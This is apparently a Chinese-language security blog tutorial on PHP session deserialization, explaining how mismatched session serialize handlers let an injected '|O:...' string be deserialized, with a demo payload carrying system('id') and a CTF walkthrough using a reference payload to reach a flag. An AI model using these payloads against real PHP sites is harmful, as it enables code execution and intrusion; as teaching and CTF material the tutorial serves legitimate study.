Session反序列化

前置知识—session

session_start()被调用或者php.inisession.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp

存取格式有多种,常见的有如下三种,主要是前俩

处理器 对应的存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数反序列化处理的值

**漏洞产生:**写入格式和读取格式不一致

如下一句话可以有多种读取方式

image-20250420181040224

php方式存储

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

刚开始可以看到/tmp目录下是什么都没有的

image-20250420181844079

1
?ben=123456

当以GET形式提交参数ben后,再次查看会出现一个sess文件,存储的是刚才提交内容,格式为

image-20250420183509582

1
2
# 键名 + 竖线 + 经过序列化处理后的数据
benben|s:6:"123456";

默认情况下是使用php格式进行储存

php_serialize方式存储

如果要使用这个格式进行存储,首先要进行一个声明,声明存储格式为php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

GET提交两个参数

1
?ben=dazhunag&b=666

image-20250420183339176

1
2
# 经过serialize()函数序列化处理的数组
a:2:{s:6:"ben";s:8:"dazhuang";s:1:"b";s:3:"666"}

php_binary方式存储

php_serialize方式存储一样,要先声明存储格式为php_binary

1
2
3
4
5
6
7
8
 <?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
1
?benben=dazhuang&b=666

需要用二进制的方式查看

image-20250420184444560

1
2
# 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数序列化处理的值
ACKbenbens:8:"dazhuang";SOHbs:3:"666";

前面的ACK对应的就是06(键名benben的长度),SOH01(键名b的长度)

PHP session反序列化漏洞

**漏洞成因:**当网站序列化并存储session,与反序列化并读取session的方式不同时,就可能导致session反序列化漏洞的产生

如下两个页面,第一个页面如下,可以以php_serialize的方式写进去进行存储

image-20250420190424176

第二个页面如下,可以以php的方式进行读取

image-20250420190441210

在第二个页面可以通过序列化执行命令

1
2
3
4
5
6
<?php
class D{
var $a = "system('id');";
}
echo serialize(new D());
?>

image-20250420185635290

1
O:1:"D":1:{s:1:"a";s:13:"system('id');";}

在第二个页面是没有提交的地方的,但可以在第一个页面中进行GET提交参数a

1
2
3
4
5
6
7
 <?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

这里可以在第一个页面进行写入,在第二个页面进行读取并执行命令

注意到这里提交写进去是以php_serialize的方式,但是读取的时候是以php方式进行读取的

php的读取方式是以竖线|为分隔符,竖线|前面的是键名,竖线|后面的就是要反序列化的内容

在第一个页面提交GET参数a

1
?a=|O:1:"D":1:{s:1:"a";s:13:"system('id');";}

这里是以php_serialize的方式写入的,最终存储的样子为

1
2
# php_serialize:经过serialize()序列化处理的数组
a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:13:"system('id');";}";}

当在第二个界面以php的方式去读取的时候

1
2
3
4
5
6
# php:键名 + 竖线 + 经过serialize反序列化处理的值

# 当作键名的部分为
a:1:{s:3:"ben";s:39:"
# 进行反序列化的部分为
O:1:"D":1:{s:1:"a";s:13:"system('id');";}";}

对于进行反序列化的部分

1
O:1:"D":1:{s:1:"a";s:13:"system('id');";}";}

在前面的部分已经使用了;}进行了闭合,满足了序列化数据的格式,所以后面剩余的“;}就是无用的

所以最终会被反序列化的部分是

1
O:1:"D":1:{s:1:"a";s:13:"system('id');";}

image-20250420192710093

直接访问第二个页面就会得到命令执行的回显

image-20250420192815930

综上,session反序列化要满足有一个页面可以写入,还有一个页面可以读取,并且两个页面的方式是不一样的,就会出现session反序列化

PHP session反序列化例题

题目的index.php的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

可以看到有个hint.php页面,访问得到源码如下

1
2
3
4
5
6
7
 <?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

审计代码

  • index.php页面中,启动了一个 PHP 会话,默认是使用php的方式,有一个Flag的类,其中有两个属性分别是nameher,在发序列化时会触发__wakeup魔术方法,先给her赋值为一个随机的1到10000的MD5值,并和name进行比较,条件满足就会包含flag.php页面,并输出flag,但是在这个页面中没有输入点
  • hint.php页面中,声明了session的存储方式为php_serialize,并可以提交GET参数a,有输入的地方

在这题中,满足了可以在hint.php页面中写入,可以在index.php页面中读取,并且两个页面的存储方式不一样,说明存在有session反序列化漏洞

要想读取flag,就要满足nameher的值相等,可以使用取地址符&满足这个条件

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->name = &$a->her;
echo serialize($a);
?>

image-20250420200436497

1
2
# 序列化后的结果
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

hint.php页面提交GET参数a

1
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

image-20250420200809940

然后直接访问index.php页面就可以得到flag了

image-20250420200826403


Session反序列化
https://yschen20.github.io/2025/04/25/Session反序列化/
作者
Suzen
发布于
2025年4月25日
更新于
2025年4月29日
许可协议